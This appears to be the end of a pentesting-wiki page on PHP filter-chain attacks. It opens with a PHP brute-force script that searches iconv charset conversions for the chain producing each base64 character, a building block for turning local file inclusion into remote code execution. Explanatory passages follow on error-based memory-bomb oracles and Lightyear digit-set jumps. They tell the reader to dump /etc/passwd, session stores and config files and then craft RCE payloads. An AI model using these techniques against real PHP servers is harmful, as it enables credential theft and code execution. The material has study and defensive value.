'ISO-IR-8-1', 'ISO-IR-9-1', 'ISO-IR-10', 'ISO-IR-11', 'ISO-IR-14', 'ISO-IR-15', 'ISO-IR-16', 'ISO-IR-17', 'ISO-IR-18', 'ISO-IR-19', 'ISO-IR-21', 'ISO-IR-25', 'ISO-IR-27', 'ISO-IR-37', 'ISO-IR-49', 'ISO-IR-50', 'ISO-IR-51', 'ISO-IR-54', 'ISO-IR-55', 'ISO-IR-57', 'ISO-IR-60', 'ISO-IR-61', 'ISO-IR-69', 'ISO-IR-84', 'ISO-IR-85', 'ISO-IR-86', 'ISO-IR-88', 'ISO-IR-89', 'ISO-IR-90', 'ISO-IR-92', 'ISO-IR-98', 'ISO-IR-99', 'ISO-IR-100', 'ISO-IR-101', 'ISO-IR-103', 'ISO-IR-109', 'ISO-IR-110', 'ISO-IR-111', 'ISO-IR-121', 'ISO-IR-122', 'ISO-IR-126', 'ISO-IR-127', 'ISO-IR-138', 'ISO-IR-139', 'ISO-IR-141', 'ISO-IR-143', 'ISO-IR-144', 'ISO-IR-148', 'ISO-IR-150', 'ISO-IR-151', 'ISO-IR-153', 'ISO-IR-155', 'ISO-IR-156', 'ISO-IR-157', 'ISO-IR-166', 'ISO-IR-179', 'ISO-IR-193', 'ISO-IR-197', 'ISO-IR-199', 'ISO-IR-203', 'ISO-IR-209', 'ISO-IR-226', 'ISO/TR_11548-1', 'ISO646-CA', 'ISO646-CA2', 'ISO646-CN', 'ISO646-CU', 'ISO646-DE', 'ISO646-DK', 'ISO646-ES', 'ISO646-ES2', 'ISO646-FI', 'ISO646-FR', 'ISO646-FR1', 'ISO646-GB', 'ISO646-HU', 'ISO646-IT', 'ISO646-JP-OCR-B', 'ISO646-JP', 'ISO646-KR', 'ISO646-NO', 'ISO646-NO2', 'ISO646-PT', 'ISO646-PT2', 'ISO646-SE', 'ISO646-SE2', 'ISO646-US', 'ISO646-YU', 'ISO2022CN', 'ISO2022CNEXT', 'ISO2022JP', 'ISO2022JP2', 'ISO2022KR', 'ISO6937', 'ISO8859-1', 'ISO8859-2', 'ISO8859-3', 'ISO8859-4', 'ISO8859-5', 'ISO8859-6', 'ISO8859-7', 'ISO8859-8', 'ISO8859-9', 'ISO8859-9E', 'ISO8859-10', 'ISO8859-11', 'ISO8859-13', 'ISO8859-14', 'ISO8859-15', 'ISO8859-16', 'ISO11548-1', 'ISO88591', 'ISO88592', 'ISO88593', 'ISO88594', 'ISO88595', 'ISO88596', 'ISO88597', 'ISO88598', 'ISO88599', 'ISO88599E', 'ISO885910', 'ISO885911', 'ISO885913', 'ISO885914', 'ISO885915', 'ISO885916', 'ISO_646.IRV:1991', 'ISO_2033-1983', 'ISO_2033', 'ISO_5427-EXT', 'ISO_5427', 'ISO_5427:1981', 'ISO_5427EXT', 'ISO_5428', 'ISO_5428:1980', 'ISO_6937-2', 'ISO_6937-2:1983', 'ISO_6937', 'ISO_6937:1992', 'ISO_8859-1', 'ISO_8859-1:1987', 'ISO_8859-2', 'ISO_8859-2:1987', 'ISO_8859-3', 'ISO_8859-3:1988', 'ISO_8859-4', 'ISO_8859-4:1988', 'ISO_8859-5', 'ISO_8859-5:1988', 'ISO_8859-6', 'ISO_8859-6:1987', 'ISO_8859-7', 'ISO_8859-7:1987', 'ISO_8859-7:2003', 'ISO_8859-8', 'ISO_8859-8:1988', 'ISO_8859-9', 'ISO_8859-9:1989', 'ISO_8859-9E', 'ISO_8859-10', 'ISO_8859-10:1992', 'ISO_8859-14', 'ISO_8859-14:1998', 'ISO_8859-15', 'ISO_8859-15:1998', 'ISO_8859-16', 'ISO_8859-16:2001', 'ISO_9036', 'ISO_10367-BOX', 'ISO_10367BOX', 'ISO_11548-1', 'ISO_69372', 'IT', 'JIS_C6220-1969-RO', 'JIS_C6229-1984-B', 'JIS_C62201969RO', 'JIS_C62291984B', 'JOHAB', 'JP-OCR-B', 'JP', 'JS', 'JUS_I.B1.002', 'KOI-7', 'KOI-8', 'KOI8-R', 'KOI8-RU', 'KOI8-T', 'KOI8-U', 'KOI8', 'KOI8R', 'KOI8U', 'KSC5636', 'L1', 'L2', 'L3', 'L4', 'L5', 'L6', 'L7', 'L8', 'L10', 'LATIN-9', 'LATIN-GREEK-1', 'LATIN-GREEK', 'LATIN1', 'LATIN2', 'LATIN3', 'LATIN4', 'LATIN5', 'LATIN6', 'LATIN7', 'LATIN8', 'LATIN9', 'LATIN10', 'LATINGREEK', 'LATINGREEK1', 'MAC-CENTRALEUROPE', 'MAC-CYRILLIC', 'MAC-IS', 'MAC-SAMI', 'MAC-UK', 'MAC', 'MACCYRILLIC', 'MACINTOSH', 'MACIS', 'MACUK', 'MACUKRAINIAN', 'MIK', 'MS-ANSI', 'MS-ARAB', 'MS-CYRL', 'MS-EE', 'MS-GREEK', 'MS-HEBR', 'MS-MAC-CYRILLIC', 'MS-TURK', 'MS932', 'MS936', 'MSCP949', 'MSCP1361', 'MSMACCYRILLIC', 'MSZ_7795.3', 'MS_KANJI', 'NAPLPS', 'NATS-DANO', 'NATS-SEFI', 'NATSDANO', 'NATSSEFI', 'NC_NC0010', 'NC_NC00-10', 'NC_NC00-10:81', 'NF_Z_62-010', 'NF_Z_62-010_(1973)', 'NF_Z_62-010_1973', 'NF_Z_62010', 'NF_Z_62010_1973', 'NO', 'NO2', 'NS_4551-1', 'NS_4551-2', 'NS_45511', 'NS_45512', 'OS2LATIN1', 'OSF00010001', 'OSF00010002', 'OSF00010003', 'OSF00010004', 'OSF00010005', 'OSF00010006', 'OSF00010007', 'OSF00010008', 'OSF00010009', 'OSF0001000A', 'OSF00010020', 'OSF00010100', 'OSF00010101', 'OSF00010102', 'OSF00010104', 'OSF00010105', 'OSF00010106', 'OSF00030010', 'OSF0004000A', 'OSF0005000A', 'OSF05010001', 'OSF100201A4', 'OSF100201A8', 'OSF100201B5', 'OSF100201F4', 'OSF100203B5', 'OSF1002011C', 'OSF1002011D', 'OSF1002035D', 'OSF1002035E', 'OSF1002035F', 'OSF1002036B', 'OSF1002037B', 'OSF10010001', 'OSF10010004', 'OSF10010006', 'OSF10020025', 'OSF10020111', 'OSF10020115', 'OSF10020116', 'OSF10020118', 'OSF10020122', 'OSF10020129', 'OSF10020352', 'OSF10020354', 'OSF10020357', 'OSF10020359', 'OSF10020360', 'OSF10020364', 'OSF10020365', 'OSF10020366', 'OSF10020367', 'OSF10020370', 'OSF10020387', 'OSF10020388', 'OSF10020396', 'OSF10020402', 'OSF10020417', 'PT', 'PT2', 'PT154', 'R8', 'R9', 'RK1048', 'ROMAN8', 'ROMAN9', 'RUSCII', 'SE', 'SE2', 'SEN_850200_B', 'SEN_850200_C', 'SHIFT-JIS', 'SHIFTJISX0213', 'SHIFT_JIS', 'SHIFT_JISX0213', 'SJIS-OPEN', 'SJIS-WIN', 'SJIS', 'SS636127', 'STRK1048-2002', 'ST_SEV_358-88', 'T.61-8BIT', 'T.61', 'T.618BIT', 'TCVN-5712', 'TCVN', 'TCVN5712-1', 'TCVN5712-1:1993', 'THAI8', 'TIS-620', 'TIS620-0', 'TIS620.2529-1', 'TIS620.2533-0', 'TIS620', 'TS-5881', 'TSCII', 'TURKISH8', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UCS-4', 'UCS-4BE', 'UCS-4LE', 'UCS2', 'UCS4', 'UHC', 'UJIS', 'UK', 'UNICODE', 'UNICODEBIG', 'UNICODELITTLE', 'US-ASCII', 'US', 'UTF-7', 'UTF-8', 'UTF-16', 'UTF-16BE', 'UTF-16LE', 'UTF-32', 'UTF-32BE', 'UTF-32LE', 'UTF7', 'UTF8', 'UTF16', 'UTF16BE', 'UTF16LE', 'UTF32', 'UTF32BE', 'UTF32LE', 'VISCII', 'WCHAR_T', 'WIN-SAMI-2', 'WINBALTRIM', 'WINDOWS-31J', 'WINDOWS-874', 'WINDOWS-936', 'WINDOWS-1250', 'WINDOWS-1251', 'WINDOWS-1252', 'WINDOWS-1253', 'WINDOWS-1254', 'WINDOWS-1255', 'WINDOWS-1256', 'WINDOWS-1257', 'WINDOWS-1258', 'WINSAMI2', 'WS2', 'YU');

$init = " ";
$known = array();


function get_tranform($val, $convs){
    foreach($convs as $conv){
        $val = @iconv($conv[0], $conv[1], $val);
    }
    return $val;
}


function test_value($val, $convs){
    global $known;

    $cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);

    if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
        $re_check = get_tranform("r", $convs);
        $cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
        if ($cleaned2 === $cleaned){

            $conv_str = "";
            foreach($convs as $conv){
                $conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
            }
            $conv_str = substr_replace($conv_str ,"", -1);

            $value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");

            if (strlen($value) > 0) {
                echo "Combination found for letter $cleaned: ";
                array_push($known, $cleaned);
                echo "$conv_str\n";

                if (count($known) == 64){
                    echo "All found\n";
                    exit(0);
                }
            }
        }
    }
}

function find_vals($init_val) {
    global $convs;

    $convs_used = array();
    $current_val = iconv("UTF8", "CSISO2022KR", $init_val);
    array_push($convs_used, array("UTF8", "CSISO2022KR"));

    $current_val2 = "";

    for ($c = 0; $c < 5; $c++){
        $conv1 = $convs[array_rand($convs, 1)];
        $conv2 = $convs[array_rand($convs, 1)];

        if ($conv1 === $conv2){
            continue;
        }

        $new_conv = array($conv1, $conv2);
        array_push($convs_used, $new_conv);

        $current_val2 = get_tranform($current_val, array($new_conv));

        if ($current_val === $current_val2){
            continue;
        }

        $current_val = $current_val2;
        test_value($current_val, $convs_used);
    }
  }

  while(true){
    find_vals($init);
}
?>

Advanced Filter Chains in Practice

Error-based filter oracles (php_filter_chains_oracle_exploit)

Chain a memory bomb (e.g., a dozen convert.iconv.UTF8.UCS-4LE passes) with dechunk so the first leaked base64 digit controls the outcome: if it turns hexadecimal the payload collapses silently, otherwise PHP exhausts memory and throws an error, giving you a 1-bit oracle.
Query the oracle repeatedly while iconv shuffles (convert.iconv.UTF16.UTF16BE, convert.iconv.UCS-4LE.UCS-4, etc.) rotate arbitrary base64 digits to the front, letting you read files byte by byte even when nothing is echoed.
Synacktiv’s php_filter_chains_oracle_exploit automates the chain, keeps payloads GET-safe, and documents the PHP file primitives (file_get_contents, finfo, hash_file, getimagesize, …) that you can abuse to pivot from LFI to credentials or staged RCE.^[3]

Lightyear digit-set jumps & chunk pruning

Lightyear builds alternative base64 digit sets via sequences like convert.iconv.IBM1144.HP-ROMAN8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037, turning a chosen digit into a newline; prepend one hexadecimal char, run dechunk, and you can jump over arbitrary chunks while keeping payloads URL-length compliant.
Instead of swapping bytes repeatedly, Lightyear chains several jumps, tracks safe chunk sizes, and closes each leak with a six-query dichotomy tree that halves the candidate digit set, so large files can be dumped via GET parameters without triggering PHP warnings.
The release ships ready-to-run Python tooling: once you control include(), aim it at /etc/passwd, PHP session stores, or config files, dump them, then fall back to the base64-prepend method above to craft RCE payloads inside php://temp or other write-less sinks.^[4]